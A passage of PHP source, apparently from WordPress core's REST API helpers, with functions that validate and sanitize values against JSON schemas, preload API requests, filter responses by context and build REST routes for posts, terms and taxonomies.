				if ( ! rest_parse_date( $value ) ) {
					return new WP_Error( 'rest_invalid_date', __( 'Invalid date.' ) );
				}
				break;

			case 'email':
				if ( ! is_email( $value ) ) {
					return new WP_Error( 'rest_invalid_email', __( 'Invalid email address.' ) );
				}
				break;
			case 'ip':
				if ( ! rest_is_ip_address( $value ) ) {
					/* translators: %s: IP address. */
					return new WP_Error( 'rest_invalid_ip', sprintf( __( '%s is not a valid IP address.' ), $param ) );
				}
				break;
			case 'uuid':
				if ( ! wp_is_uuid( $value ) ) {
					/* translators: %s: The name of a JSON field expecting a valid UUID. */
					return new WP_Error( 'rest_invalid_uuid', sprintf( __( '%s is not a valid UUID.' ), $param ) );
				}
				break;
		}
	}

	return true;
}

/**
 * Validates a null value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_null_value_from_schema( $value, $param ) {
	if ( null !== $value ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, 'null' ),
			array( 'param' => $param )
		);
	}

	return true;
}

/**
 * Validates a boolean value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_boolean_value_from_schema( $value, $param ) {
	if ( ! rest_is_boolean( $value ) ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, 'boolean' ),
			array( 'param' => $param )
		);
	}

	return true;
}

/**
 * Validates an object value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_object_value_from_schema( $value, $args, $param ) {
	if ( ! rest_is_object( $value ) ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, 'object' ),
			array( 'param' => $param )
		);
	}

	$value = rest_sanitize_object( $value );

	if ( isset( $args['required'] ) && is_array( $args['required'] ) ) { // schema version 4
		foreach ( $args['required'] as $name ) {
			if ( ! array_key_exists( $name, $value ) ) {
				return new WP_Error(
					'rest_property_required',
					/* translators: 1: Property of an object, 2: Parameter. */
					sprintf( __( '%1$s is a required property of %2$s.' ), $name, $param )
				);
			}
		}
	} elseif ( isset( $args['properties'] ) ) { // schema version 3
		foreach ( $args['properties'] as $name => $property ) {
			if ( isset( $property['required'] ) && true === $property['required'] && ! array_key_exists( $name, $value ) ) {
				return new WP_Error(
					'rest_property_required',
					/* translators: 1: Property of an object, 2: Parameter. */
					sprintf( __( '%1$s is a required property of %2$s.' ), $name, $param )
				);
			}
		}
	}

	foreach ( $value as $property => $v ) {
		if ( isset( $args['properties'][ $property ] ) ) {
			$is_valid = rest_validate_value_from_schema( $v, $args['properties'][ $property ], $param . '[' . $property . ']' );
			if ( is_wp_error( $is_valid ) ) {
				return $is_valid;
			}
			continue;
		}

		$pattern_property_schema = rest_find_matching_pattern_property_schema( $property, $args );
		if ( null !== $pattern_property_schema ) {
			$is_valid = rest_validate_value_from_schema( $v, $pattern_property_schema, $param . '[' . $property . ']' );
			if ( is_wp_error( $is_valid ) ) {
				return $is_valid;
			}
			continue;
		}

		if ( isset( $args['additionalProperties'] ) ) {
			if ( false === $args['additionalProperties'] ) {
				return new WP_Error(
					'rest_additional_properties_forbidden',
					/* translators: %s: Property of an object. */
					sprintf( __( '%1$s is not a valid property of Object.' ), $property )
				);
			}

			if ( is_array( $args['additionalProperties'] ) ) {
				$is_valid = rest_validate_value_from_schema( $v, $args['additionalProperties'], $param . '[' . $property . ']' );
				if ( is_wp_error( $is_valid ) ) {
					return $is_valid;
				}
			}
		}
	}

	if ( isset( $args['minProperties'] ) && count( $value ) < $args['minProperties'] ) {
		return new WP_Error(
			'rest_too_few_properties',
			sprintf(
				/* translators: 1: Parameter, 2: Number. */
				_n(
					'%1$s must contain at least %2$s property.',
					'%1$s must contain at least %2$s properties.',
					$args['minProperties']
				),
				$param,
				number_format_i18n( $args['minProperties'] )
			)
		);
	}

	if ( isset( $args['maxProperties'] ) && count( $value ) > $args['maxProperties'] ) {
		return new WP_Error(
			'rest_too_many_properties',
			sprintf(
				/* translators: 1: Parameter, 2: Number. */
				_n(
					'%1$s must contain at most %2$s property.',
					'%1$s must contain at most %2$s properties.',
					$args['maxProperties']
				),
				$param,
				number_format_i18n( $args['maxProperties'] )
			)
		);
	}

	return true;
}

/**
 * Validates an array value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_array_value_from_schema( $value, $args, $param ) {
	if ( ! rest_is_array( $value ) ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, 'array' ),
			array( 'param' => $param )
		);
	}

	$value = rest_sanitize_array( $value );

	if ( isset( $args['items'] ) ) {
		foreach ( $value as $index => $v ) {
			$is_valid = rest_validate_value_from_schema( $v, $args['items'], $param . '[' . $index . ']' );
			if ( is_wp_error( $is_valid ) ) {
				return $is_valid;
			}
		}
	}

	if ( isset( $args['minItems'] ) && count( $value ) < $args['minItems'] ) {
		return new WP_Error(
			'rest_too_few_items',
			sprintf(
				/* translators: 1: Parameter, 2: Number. */
				_n(
					'%1$s must contain at least %2$s item.',
					'%1$s must contain at least %2$s items.',
					$args['minItems']
				),
				$param,
				number_format_i18n( $args['minItems'] )
			)
		);
	}

	if ( isset( $args['maxItems'] ) && count( $value ) > $args['maxItems'] ) {
		return new WP_Error(
			'rest_too_many_items',
			sprintf(
				/* translators: 1: Parameter, 2: Number. */
				_n(
					'%1$s must contain at most %2$s item.',
					'%1$s must contain at most %2$s items.',
					$args['maxItems']
				),
				$param,
				number_format_i18n( $args['maxItems'] )
			)
		);
	}

	if ( ! empty( $args['uniqueItems'] ) && ! rest_validate_array_contains_unique_items( $value ) ) {
		/* translators: %s: Parameter. */
		return new WP_Error( 'rest_duplicate_items', sprintf( __( '%s has duplicate items.' ), $param ) );
	}

	return true;
}

/**
 * Validates a number value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_number_value_from_schema( $value, $args, $param ) {
	if ( ! is_numeric( $value ) ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, $args['type'] ),
			array( 'param' => $param )
		);
	}

	if ( isset( $args['multipleOf'] ) && fmod( $value, $args['multipleOf'] ) !== 0.0 ) {
		return new WP_Error(
			'rest_invalid_multiple',
			/* translators: 1: Parameter, 2: Multiplier. */
			sprintf( __( '%1$s must be a multiple of %2$s.' ), $param, $args['multipleOf'] )
		);
	}

	if ( isset( $args['minimum'] ) && ! isset( $args['maximum'] ) ) {
		if ( ! empty( $args['exclusiveMinimum'] ) && $value <= $args['minimum'] ) {
			return new WP_Error(
				'rest_out_of_bounds',
				/* translators: 1: Parameter, 2: Minimum number. */
				sprintf( __( '%1$s must be greater than %2$d' ), $param, $args['minimum'] )
			);
		}

		if ( empty( $args['exclusiveMinimum'] ) && $value < $args['minimum'] ) {
			return new WP_Error(
				'rest_out_of_bounds',
				/* translators: 1: Parameter, 2: Minimum number. */
				sprintf( __( '%1$s must be greater than or equal to %2$d' ), $param, $args['minimum'] )
			);
		}
	}

	if ( isset( $args['maximum'] ) && ! isset( $args['minimum'] ) ) {
		if ( ! empty( $args['exclusiveMaximum'] ) && $value >= $args['maximum'] ) {
			return new WP_Error(
				'rest_out_of_bounds',
				/* translators: 1: Parameter, 2: Maximum number. */
				sprintf( __( '%1$s must be less than %2$d' ), $param, $args['maximum'] )
			);
		}

		if ( empty( $args['exclusiveMaximum'] ) && $value > $args['maximum'] ) {
			return new WP_Error(
				'rest_out_of_bounds',
				/* translators: 1: Parameter, 2: Maximum number. */
				sprintf( __( '%1$s must be less than or equal to %2$d' ), $param, $args['maximum'] )
			);
		}
	}

	if ( isset( $args['minimum'], $args['maximum'] ) ) {
		if ( ! empty( $args['exclusiveMinimum'] ) && ! empty( $args['exclusiveMaximum'] ) ) {
			if ( $value >= $args['maximum'] || $value <= $args['minimum'] ) {
				return new WP_Error(
					'rest_out_of_bounds',
					sprintf(
						/* translators: 1: Parameter, 2: Minimum number, 3: Maximum number. */
						__( '%1$s must be between %2$d (exclusive) and %3$d (exclusive)' ),
						$param,
						$args['minimum'],
						$args['maximum']
					)
				);
			}
		}

		if ( ! empty( $args['exclusiveMinimum'] ) && empty( $args['exclusiveMaximum'] ) ) {
			if ( $value > $args['maximum'] || $value <= $args['minimum'] ) {
				return new WP_Error(
					'rest_out_of_bounds',
					sprintf(
						/* translators: 1: Parameter, 2: Minimum number, 3: Maximum number. */
						__( '%1$s must be between %2$d (exclusive) and %3$d (inclusive)' ),
						$param,
						$args['minimum'],
						$args['maximum']
					)
				);
			}
		}

		if ( ! empty( $args['exclusiveMaximum'] ) && empty( $args['exclusiveMinimum'] ) ) {
			if ( $value >= $args['maximum'] || $value < $args['minimum'] ) {
				return new WP_Error(
					'rest_out_of_bounds',
					sprintf(
						/* translators: 1: Parameter, 2: Minimum number, 3: Maximum number. */
						__( '%1$s must be between %2$d (inclusive) and %3$d (exclusive)' ),
						$param,
						$args['minimum'],
						$args['maximum']
					)
				);
			}
		}

		if ( empty( $args['exclusiveMinimum'] ) && empty( $args['exclusiveMaximum'] ) ) {
			if ( $value > $args['maximum'] || $value < $args['minimum'] ) {
				return new WP_Error(
					'rest_out_of_bounds',
					sprintf(
						/* translators: 1: Parameter, 2: Minimum number, 3: Maximum number. */
						__( '%1$s must be between %2$d (inclusive) and %3$d (inclusive)' ),
						$param,
						$args['minimum'],
						$args['maximum']
					)
				);
			}
		}
	}

	return true;
}

/**
 * Validates a string value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_string_value_from_schema( $value, $args, $param ) {
	if ( ! is_string( $value ) ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, 'string' ),
			array( 'param' => $param )
		);
	}

	if ( isset( $args['minLength'] ) && mb_strlen( $value ) < $args['minLength'] ) {
		return new WP_Error(
			'rest_too_short',
			sprintf(
				/* translators: 1: Parameter, 2: Number of characters. */
				_n(
					'%1$s must be at least %2$s character long.',
					'%1$s must be at least %2$s characters long.',
					$args['minLength']
				),
				$param,
				number_format_i18n( $args['minLength'] )
			)
		);
	}

	if ( isset( $args['maxLength'] ) && mb_strlen( $value ) > $args['maxLength'] ) {
		return new WP_Error(
			'rest_too_long',
			sprintf(
				/* translators: 1: Parameter, 2: Number of characters. */
				_n(
					'%1$s must be at most %2$s character long.',
					'%1$s must be at most %2$s characters long.',
					$args['maxLength']
				),
				$param,
				number_format_i18n( $args['maxLength'] )
			)
		);
	}

	if ( isset( $args['pattern'] ) && ! rest_validate_json_schema_pattern( $args['pattern'], $value ) ) {
		return new WP_Error(
			'rest_invalid_pattern',
			/* translators: 1: Parameter, 2: Pattern. */
			sprintf( __( '%1$s does not match pattern %2$s.' ), $param, $args['pattern'] )
		);
	}

	return true;
}

/**
 * Validates an integer value based on a schema.
 *
 * @since 5.7.0
 *
 * @param mixed  $value The value to validate.
 * @param array  $args  Schema array to use for validation.
 * @param string $param The parameter name, used in error messages.
 * @return true|WP_Error
 */
function rest_validate_integer_value_from_schema( $value, $args, $param ) {
	$is_valid_number = rest_validate_number_value_from_schema( $value, $args, $param );
	if ( is_wp_error( $is_valid_number ) ) {
		return $is_valid_number;
	}

	if ( ! rest_is_integer( $value ) ) {
		return new WP_Error(
			'rest_invalid_type',
			/* translators: 1: Parameter, 2: Type name. */
			sprintf( __( '%1$s is not of type %2$s.' ), $param, 'integer' ),
			array( 'param' => $param )
		);
	}

	return true;
}

/**
 * Sanitize a value based on a schema.
 *
 * @since 4.7.0
 * @since 5.5.0 Added the `$param` parameter.
 * @since 5.6.0 Support the "anyOf" and "oneOf" keywords.
 * @since 5.9.0 Added `text-field` and `textarea-field` formats.
 *
 * @param mixed  $value The value to sanitize.
 * @param array  $args  Schema array to use for sanitization.
 * @param string $param The parameter name, used in error messages.
 * @return mixed|WP_Error The sanitized value or a WP_Error instance if the value cannot be safely sanitized.
 */
function rest_sanitize_value_from_schema( $value, $args, $param = '' ) {
	if ( isset( $args['anyOf'] ) ) {
		$matching_schema = rest_find_any_matching_schema( $value, $args, $param );
		if ( is_wp_error( $matching_schema ) ) {
			return $matching_schema;
		}

		if ( ! isset( $args['type'] ) ) {
			$args['type'] = $matching_schema['type'];
		}

		$value = rest_sanitize_value_from_schema( $value, $matching_schema, $param );
	}

	if ( isset( $args['oneOf'] ) ) {
		$matching_schema = rest_find_one_matching_schema( $value, $args, $param );
		if ( is_wp_error( $matching_schema ) ) {
			return $matching_schema;
		}

		if ( ! isset( $args['type'] ) ) {
			$args['type'] = $matching_schema['type'];
		}

		$value = rest_sanitize_value_from_schema( $value, $matching_schema, $param );
	}

	$allowed_types = array( 'array', 'object', 'string', 'number', 'integer', 'boolean', 'null' );

	if ( ! isset( $args['type'] ) ) {
		/* translators: %s: Parameter. */
		_doing_it_wrong( __FUNCTION__, sprintf( __( 'The "type" schema keyword for %s is required.' ), $param ), '5.5.0' );
	}

	if ( is_array( $args['type'] ) ) {
		$best_type = rest_handle_multi_type_schema( $value, $args, $param );

		if ( ! $best_type ) {
			return null;
		}

		$args['type'] = $best_type;
	}

	if ( ! in_array( $args['type'], $allowed_types, true ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			/* translators: 1: Parameter, 2: The list of allowed types. */
			wp_sprintf( __( 'The "type" schema keyword for %1$s can only be one of the built-in types: %2$l.' ), $param, $allowed_types ),
			'5.5.0'
		);
	}

	if ( 'array' === $args['type'] ) {
		$value = rest_sanitize_array( $value );

		if ( ! empty( $args['items'] ) ) {
			foreach ( $value as $index => $v ) {
				$value[ $index ] = rest_sanitize_value_from_schema( $v, $args['items'], $param . '[' . $index . ']' );
			}
		}

		if ( ! empty( $args['uniqueItems'] ) && ! rest_validate_array_contains_unique_items( $value ) ) {
			/* translators: %s: Parameter. */
			return new WP_Error( 'rest_duplicate_items', sprintf( __( '%s has duplicate items.' ), $param ) );
		}

		return $value;
	}

	if ( 'object' === $args['type'] ) {
		$value = rest_sanitize_object( $value );

		foreach ( $value as $property => $v ) {
			if ( isset( $args['properties'][ $property ] ) ) {
				$value[ $property ] = rest_sanitize_value_from_schema( $v, $args['properties'][ $property ], $param . '[' . $property . ']' );
				continue;
			}

			$pattern_property_schema = rest_find_matching_pattern_property_schema( $property, $args );
			if ( null !== $pattern_property_schema ) {
				$value[ $property ] = rest_sanitize_value_from_schema( $v, $pattern_property_schema, $param . '[' . $property . ']' );
				continue;
			}

			if ( isset( $args['additionalProperties'] ) ) {
				if ( false === $args['additionalProperties'] ) {
					unset( $value[ $property ] );
				} elseif ( is_array( $args['additionalProperties'] ) ) {
					$value[ $property ] = rest_sanitize_value_from_schema( $v, $args['additionalProperties'], $param . '[' . $property . ']' );
				}
			}
		}

		return $value;
	}

	if ( 'null' === $args['type'] ) {
		return null;
	}

	if ( 'integer' === $args['type'] ) {
		return (int) $value;
	}

	if ( 'number' === $args['type'] ) {
		return (float) $value;
	}

	if ( 'boolean' === $args['type'] ) {
		return rest_sanitize_boolean( $value );
	}

	// This behavior matches rest_validate_value_from_schema().
	if ( isset( $args['format'] )
		&& ( ! isset( $args['type'] ) || 'string' === $args['type'] || ! in_array( $args['type'], $allowed_types, true ) )
	) {
		switch ( $args['format'] ) {
			case 'hex-color':
				return (string) sanitize_hex_color( $value );

			case 'date-time':
				return sanitize_text_field( $value );

			case 'email':
				// sanitize_email() validates, which would be unexpected.
				return sanitize_text_field( $value );

			case 'uri':
				return sanitize_url( $value );

			case 'ip':
				return sanitize_text_field( $value );

			case 'uuid':
				return sanitize_text_field( $value );

			case 'text-field':
				return sanitize_text_field( $value );

			case 'textarea-field':
				return sanitize_textarea_field( $value );
		}
	}

	if ( 'string' === $args['type'] ) {
		return (string) $value;
	}

	return $value;
}

/**
 * Append result of internal request to REST API for purpose of preloading data to be attached to a page.
 * Expected to be called in the context of `array_reduce`.
 *
 * @since 5.0.0
 *
 * @param array  $memo Reduce accumulator.
 * @param string $path REST API path to preload.
 * @return array Modified reduce accumulator.
 */
function rest_preload_api_request( $memo, $path ) {
	/*
	 * array_reduce() doesn't support passing an array in PHP 5.2,
	 * so we need to make sure we start with one.
	 */
	if ( ! is_array( $memo ) ) {
		$memo = array();
	}

	if ( empty( $path ) ) {
		return $memo;
	}

	$method = 'GET';
	if ( is_array( $path ) && 2 === count( $path ) ) {
		$method = end( $path );
		$path   = reset( $path );

		if ( ! in_array( $method, array( 'GET', 'OPTIONS' ), true ) ) {
			$method = 'GET';
		}
	}

	$path = untrailingslashit( $path );
	if ( empty( $path ) ) {
		$path = '/';
	}

	$path_parts = parse_url( $path );
	if ( false === $path_parts ) {
		return $memo;
	}

	$request = new WP_REST_Request( $method, $path_parts['path'] );
	if ( ! empty( $path_parts['query'] ) ) {
		parse_str( $path_parts['query'], $query_params );
		$request->set_query_params( $query_params );
	}

	$response = rest_do_request( $request );
	if ( 200 === $response->status ) {
		$server = rest_get_server();
		/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
		$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $server, $request );
		$embed    = $request->has_param( '_embed' ) ? rest_parse_embed_param( $request['_embed'] ) : false;
		$data     = (array) $server->response_to_data( $response, $embed );

		if ( 'OPTIONS' === $method ) {
			$memo[ $method ][ $path ] = array(
				'body'    => $data,
				'headers' => $response->headers,
			);
		} else {
			$memo[ $path ] = array(
				'body'    => $data,
				'headers' => $response->headers,
			);
		}
	}

	return $memo;
}

/**
 * Parses the "_embed" parameter into the list of resources to embed.
 *
 * @since 5.4.0
 *
 * @param string|array $embed Raw "_embed" parameter value.
 * @return true|string[] Either true to embed all embeds, or a list of relations to embed.
 */
function rest_parse_embed_param( $embed ) {
	if ( ! $embed || 'true' === $embed || '1' === $embed ) {
		return true;
	}

	$rels = wp_parse_list( $embed );

	if ( ! $rels ) {
		return true;
	}

	return $rels;
}

/**
 * Filters the response to remove any fields not available in the given context.
 *
 * @since 5.5.0
 * @since 5.6.0 Support the "patternProperties" keyword for objects.
 *              Support the "anyOf" and "oneOf" keywords.
 *
 * @param array|object $response_data The response data to modify.
 * @param array        $schema        The schema for the endpoint used to filter the response.
 * @param string       $context       The requested context.
 * @return array|object The filtered response data.
 */
function rest_filter_response_by_context( $response_data, $schema, $context ) {
	if ( isset( $schema['anyOf'] ) ) {
		$matching_schema = rest_find_any_matching_schema( $response_data, $schema, '' );
		if ( ! is_wp_error( $matching_schema ) ) {
			if ( ! isset( $schema['type'] ) ) {
				$schema['type'] = $matching_schema['type'];
			}

			$response_data = rest_filter_response_by_context( $response_data, $matching_schema, $context );
		}
	}

	if ( isset( $schema['oneOf'] ) ) {
		$matching_schema = rest_find_one_matching_schema( $response_data, $schema, '', true );
		if ( ! is_wp_error( $matching_schema ) ) {
			if ( ! isset( $schema['type'] ) ) {
				$schema['type'] = $matching_schema['type'];
			}

			$response_data = rest_filter_response_by_context( $response_data, $matching_schema, $context );
		}
	}

	if ( ! is_array( $response_data ) && ! is_object( $response_data ) ) {
		return $response_data;
	}

	if ( isset( $schema['type'] ) ) {
		$type = $schema['type'];
	} elseif ( isset( $schema['properties'] ) ) {
		$type = 'object'; // Back compat if a developer accidentally omitted the type.
	} else {
		return $response_data;
	}

	$is_array_type  = 'array' === $type || ( is_array( $type ) && in_array( 'array', $type, true ) );
	$is_object_type = 'object' === $type || ( is_array( $type ) && in_array( 'object', $type, true ) );

	if ( $is_array_type && $is_object_type ) {
		if ( rest_is_array( $response_data ) ) {
			$is_object_type = false;
		} else {
			$is_array_type = false;
		}
	}

	$has_additional_properties = $is_object_type && isset( $schema['additionalProperties'] ) && is_array( $schema['additionalProperties'] );

	foreach ( $response_data as $key => $value ) {
		$check = array();

		if ( $is_array_type ) {
			$check = isset( $schema['items'] ) ? $schema['items'] : array();
		} elseif ( $is_object_type ) {
			if ( isset( $schema['properties'][ $key ] ) ) {
				$check = $schema['properties'][ $key ];
			} else {
				$pattern_property_schema = rest_find_matching_pattern_property_schema( $key, $schema );
				if ( null !== $pattern_property_schema ) {
					$check = $pattern_property_schema;
				} elseif ( $has_additional_properties ) {
					$check = $schema['additionalProperties'];
				}
			}
		}

		if ( ! isset( $check['context'] ) ) {
			continue;
		}

		if ( ! in_array( $context, $check['context'], true ) ) {
			if ( $is_array_type ) {
				// All array items share schema, so there's no need to check each one.
				$response_data = array();
				break;
			}

			if ( is_object( $response_data ) ) {
				unset( $response_data->$key );
			} else {
				unset( $response_data[ $key ] );
			}
		} elseif ( is_array( $value ) || is_object( $value ) ) {
			$new_value = rest_filter_response_by_context( $value, $check, $context );

			if ( is_object( $response_data ) ) {
				$response_data->$key = $new_value;
			} else {
				$response_data[ $key ] = $new_value;
			}
		}
	}

	return $response_data;
}

/**
 * Sets the "additionalProperties" to false by default for all object definitions in the schema.
 *
 * @since 5.5.0
 * @since 5.6.0 Support the "patternProperties" keyword.
 *
 * @param array $schema The schema to modify.
 * @return array The modified schema.
 */
function rest_default_additional_properties_to_false( $schema ) {
	$type = (array) $schema['type'];

	if ( in_array( 'object', $type, true ) ) {
		if ( isset( $schema['properties'] ) ) {
			foreach ( $schema['properties'] as $key => $child_schema ) {
				$schema['properties'][ $key ] = rest_default_additional_properties_to_false( $child_schema );
			}
		}

		if ( isset( $schema['patternProperties'] ) ) {
			foreach ( $schema['patternProperties'] as $key => $child_schema ) {
				$schema['patternProperties'][ $key ] = rest_default_additional_properties_to_false( $child_schema );
			}
		}

		if ( ! isset( $schema['additionalProperties'] ) ) {
			$schema['additionalProperties'] = false;
		}
	}

	if ( in_array( 'array', $type, true ) ) {
		if ( isset( $schema['items'] ) ) {
			$schema['items'] = rest_default_additional_properties_to_false( $schema['items'] );
		}
	}

	return $schema;
}

/**
 * Gets the REST API route for a post.
 *
 * @since 5.5.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return string The route path with a leading slash for the given post,
 *                or an empty string if there is not a route.
 */
function rest_get_route_for_post( $post ) {
	$post = get_post( $post );

	if ( ! $post instanceof WP_Post ) {
		return '';
	}

	$post_type_route = rest_get_route_for_post_type_items( $post->post_type );
	if ( ! $post_type_route ) {
		return '';
	}

	$route = sprintf( '%s/%d', $post_type_route, $post->ID );

	/**
	 * Filters the REST API route for a post.
	 *
	 * @since 5.5.0
	 *
	 * @param string  $route The route path.
	 * @param WP_Post $post  The post object.
	 */
	return apply_filters( 'rest_route_for_post', $route, $post );
}

/**
 * Gets the REST API route for a post type.
 *
 * @since 5.9.0
 *
 * @param string $post_type The name of a registered post type.
 * @return string The route path with a leading slash for the given post type,
 *                or an empty string if there is not a route.
 */
function rest_get_route_for_post_type_items( $post_type ) {
	$post_type = get_post_type_object( $post_type );
	if ( ! $post_type ) {
		return '';
	}

	if ( ! $post_type->show_in_rest ) {
		return '';
	}

	$namespace = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2';
	$rest_base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
	$route     = sprintf( '/%s/%s', $namespace, $rest_base );

	/**
	 * Filters the REST API route for a post type.
	 *
	 * @since 5.9.0
	 *
	 * @param string       $route      The route path.
	 * @param WP_Post_Type $post_type  The post type object.
	 */
	return apply_filters( 'rest_route_for_post_type_items', $route, $post_type );
}

/**
 * Gets the REST API route for a term.
 *
 * @since 5.5.0
 *
 * @param int|WP_Term $term Term ID or term object.
 * @return string The route path with a leading slash for the given term,
 *                or an empty string if there is not a route.
 */
function rest_get_route_for_term( $term ) {
	$term = get_term( $term );

	if ( ! $term instanceof WP_Term ) {
		return '';
	}

	$taxonomy_route = rest_get_route_for_taxonomy_items( $term->taxonomy );
	if ( ! $taxonomy_route ) {
		return '';
	}

	$route = sprintf( '%s/%d', $taxonomy_route, $term->term_id );

	/**
	 * Filters the REST API route for a term.
	 *
	 * @since 5.5.0
	 *
	 * @param string  $route The route path.
	 * @param WP_Term $term  The term object.
	 */
	return apply_filters( 'rest_route_for_term', $route, $term );
}

/**
 * Gets the REST API route for a taxonomy.
 *
 * @since 5.9.0
 *
 * @param string $taxonomy Name of taxonomy.
 * @return string The route path with a leading slash for the given taxonomy.
 */
function rest_get_route_for_taxonomy_items( $taxonomy ) {
	$taxonomy = get_taxonomy( $taxonomy );
	if ( ! $taxonomy ) {
		return '';
	}

	if ( ! $taxonomy->show_in_rest ) {
		return '';
	}

	$namespace = ! empty( $taxonomy->rest_namespace ) ? $taxonomy->rest_namespace : 'wp/v2';
	$rest_base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
	$route     = sprintf( '/%s/%s', $namespace, $rest_base );

	/**
	 * Filters the REST API route for a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param string      $route    The route path.
	 * @param WP_Taxonomy $taxonomy The taxonomy object.
	 */
	return apply_filters( 'rest_route_for_taxonomy_items', $route, $taxonomy );
}

/**
 * Gets the REST route for the currently queried object.
 *
 * @since 5.5.0
 *
 * @return string The REST route of the resource, or an empty string if no resource identified.
 */
function rest_get_queried_resource_route() {
	if ( is_singular() ) {
		$route = rest_get_route_for_post( get_queried_object() );
	} elseif ( is_category() || is_tag() || is_tax() ) {
		$route = rest_get_route_for_term( get_queried_object() );
	} elseif ( is_author() ) {
		$route = '/wp/v2/users/' . get_queried_object_id();
	} else {
		$route = '';
	}

	/**
	 * Filters the REST route for the currently queried object.
	 *
	 * @since 5.5.0
	 *
	 * @param string $link The route with a leading slash, or an empty string.
	 */
	return apply_filters( 'rest_queried_resource_route', $route );
}

/**
 * Retrieves an array of endpoint arguments from the item schema and endpoint method.
 *
 * @since 5.6.0
 *
 * @param array  $schema The full JSON schema for the endpoint.
 * @param string $method Optional. HTTP method of the endpoint. The arguments for `CREATABLE` endpoints are
 *                       checked for required values and may fall-back to a given default, this is not done
 *                       on `EDITABLE` endpoints. Default WP_REST_Server::CREATABLE.
 * @return array The endpoint arguments.
 */
function rest_get_endpoint_args_for_schema( $schema, $method = WP_REST_Server::CREATABLE ) {

	$schema_properties       = ! empty( $schema['properties'] ) ? $schema['properties'] : array();
	$endpoint_args           = array();
	$valid_schema_properties = rest_get_allowed_schema_keywords();
	$valid_schema_properties = array_diff( $valid_schema_properties, array( 'default', 'required' ) );

	foreach ( $schema_properties as $field_id => $params ) {

		// Arguments specified as `readonly` are not allowed to be set.
		if ( ! empty( $params['readonly'] ) ) {
			continue;
		}

		$endpoint_args[ $field_id ] = array(
			'validate_callback' => 'rest_validate_request_arg',
			'sanitize_callback' => 'rest_sanitize_request_arg',
		);

		if ( WP_REST_Server::CREATABLE === $method && isset( $params['default'] ) ) {
			$endpoint_args[ $field_id ]['default'] = $params['default'];
		}

		if ( WP_REST_Server::CREATABLE === $method && ! empty( $params['required'] ) ) {
			$endpoint_args[ $field_id ]['required'] = true;
		}

		foreach ( $valid_schema_properties as $schema_prop ) {
			if ( isset( $params[ $schema_prop ] ) ) {
				$endpoint_args[ $field_id ][ $schema_prop ] = $params[ $schema_prop ];
			}
		}

		// Merge in any options provided by the schema property.
		if ( isset( $params['arg_options'] ) ) {

			// Only use required / default from arg_options on CREATABLE endpoints.
			if ( WP_REST_Server::CREATABLE !== $method ) {
				$params['arg_options'] = array_diff_key(
					$params['arg_options'],
					array(
						'required' => '',
						'default'  => '',
					)
				);
			}

			$endpoint_args[ $field_id ] = array_merge( $endpoint_args[ $field_id ], $params['arg_options'] );
		}
	}

	return $endpoint_args;
}


/**
 * Converts an error to a response object.
 *
 * This iterates over all error codes and messages to change it into a flat
 * array. This enables simpler client behavior, as it is represented as a
 * list in JSON rather than an object/map.
 *
 * @since 5.7.0
 *
 * @param WP_Error $error WP_Error instance.
 *
 * @return WP_REST_Response List of associative arrays with code and message keys.
 */
function rest_convert_error_to_response( $error ) {
	$status = array_reduce(
		$error->get_all_error_data(),
		static function ( $status, $error_data ) {
			return is_array( $error_data ) && isset( $error_data['status'] ) ? $error_data['status'] : $status;
		},
		500
	);

	$errors = array();

	foreach ( (array) $error->errors as $code => $messages ) {
		$all_data  = $error->get_all_error_data( $code );
		$last_data = array_pop( $all_data );

		foreach ( (array) $messages as $message ) {
			$formatted = array(
				'code'    => $code,
				'message' => $message,
				'data'    => $last_data,
			);

			if ( $all_data ) {
				$formatted['additional_data'] = $all_data;
			}

			$errors[] = $formatted;
		}
	}

	$data = $errors[0];
	if ( count( $errors ) > 1 ) {
		// Remove the primary error.
		array_shift( $errors );
		$data['additional_errors'] = $errors;
	}

	return new WP_REST_Response( $data, $status );
}

/**
 * Checks whether a REST API endpoint request is currently being handled.
 *
 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
 *
 * @since 6.5.0
 *
 * @global WP_REST_Server $wp_rest_server REST server instance.
 *
 * @return bool True if a REST endpoint request is currently being handled, false otherwise.
 */
